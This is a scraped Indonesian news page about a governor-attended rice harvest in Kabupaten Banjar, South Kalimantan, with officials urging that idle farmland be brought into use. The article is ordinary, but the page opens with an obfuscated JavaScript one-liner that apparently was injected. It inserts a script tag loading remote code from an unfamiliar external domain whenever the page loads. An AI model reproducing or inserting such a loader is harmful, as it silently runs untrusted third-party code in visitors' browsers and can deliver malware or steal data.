(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Panen Padi Perdana di Banjar, Gubernur Sahbirin Minta Pertanian Dibangkitkan


MARTAPURA,  Potensi lahan pertanian di Provinsi Kalimantan Selatan, khususnya Kabupaten Banjar masih sangat besar. Jika lahan pertanian yang masih tidur tersebut dikelola dengan optimal, maka akan menghasilkan produksi padi yang luar biasa.

Begitu disampaikan Gubernur Kalimantan Selatan H Sahbirin Noor, saat melakukan panen padi varietas Situ Petenggang di areal persawahan Alam Roh 8, di Desa Sungai Batang Kecamatan Martapura Barat, Kabupaten Banjar.

Menurut orang yang akrab disapa Paman Birin tersebut, saat ini masih ada jutaan lahan pertanian di Kalimantan Selatan yang masih tidur dan belum tergarap. Ada sejumlah permasalahan yang menjadi hambatan untuk pengembangannya, namun Paman Birin menyatakan masalah tersebut harus diatasi dan dicarikan solusinya.

“Beras merupakan makanan kita sehari-hari, sehingga kita wajib untuk terus mengembangkan dan membangkitkan sektor pertanian dalam setiap gerakan pembangunan,’’ katanya.

Walaupun tak mudah untuk menghidupkan lahan tidur, karena banyak yang terendam saat musim hujan. Namun dengan pengaturan irigasi yang baik, bisa diatasi, seperti yang dilakukan di areal Desa Sungai Batang Kabupaten Banjar.

“Kita akan mencoba melakukan normalisasi sungai dan tata kelola air yang baik, agar saat musim hujan tetap bisa ditanami dan yang biasanya hanya satu kali panen dalam setahun dapat menjadi dua kali panen selama satu tahun,” ujarnya.

Sementara itu, Bupati Kabupaten Banjar KH Khalilurrahman yang juga turut melakukan panen padi di sawah menjelaskan, bahwa Kabupaten Banjar, terkenal dengan sebutan Kindai Limpuar atau lumbung padi di Kalimantan Selatan. “Kita memilki sentra produksi pertanian dan Desa Sungai Batang ini, Gubernur Paman Birin juga menginginkan untuk dikembangkan menjadi salah satu sentra produksi padi di Kalimantan Selatan,” ujarnya.

H Khalilulrahman menyatakan dukungan dari Gubernur H Sahbirin Noor, sangat besar guna meningkatkan produksi padi dan menghidupkan lahan pertanian di Kabupaten Banjar.  “Saya ucapkan terimakasih karena Bapak H Sahbirin Noor yang sangat peduli dengan sektor pertanian serta membantu para petani di Kabupaten Banjar untuk bisa memanfaatkan lahan tidur,” paparnya

Orang nomor satu di kabupaten Banjar ini mengharapkan dengan bantuan dari Pemerintah Provinsi Kalimantan Selatan, maka Pemerintah Kabupaten Banjar bersama dengan para petani di daerahnya akan bisa mempertahankan swasembada beras. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.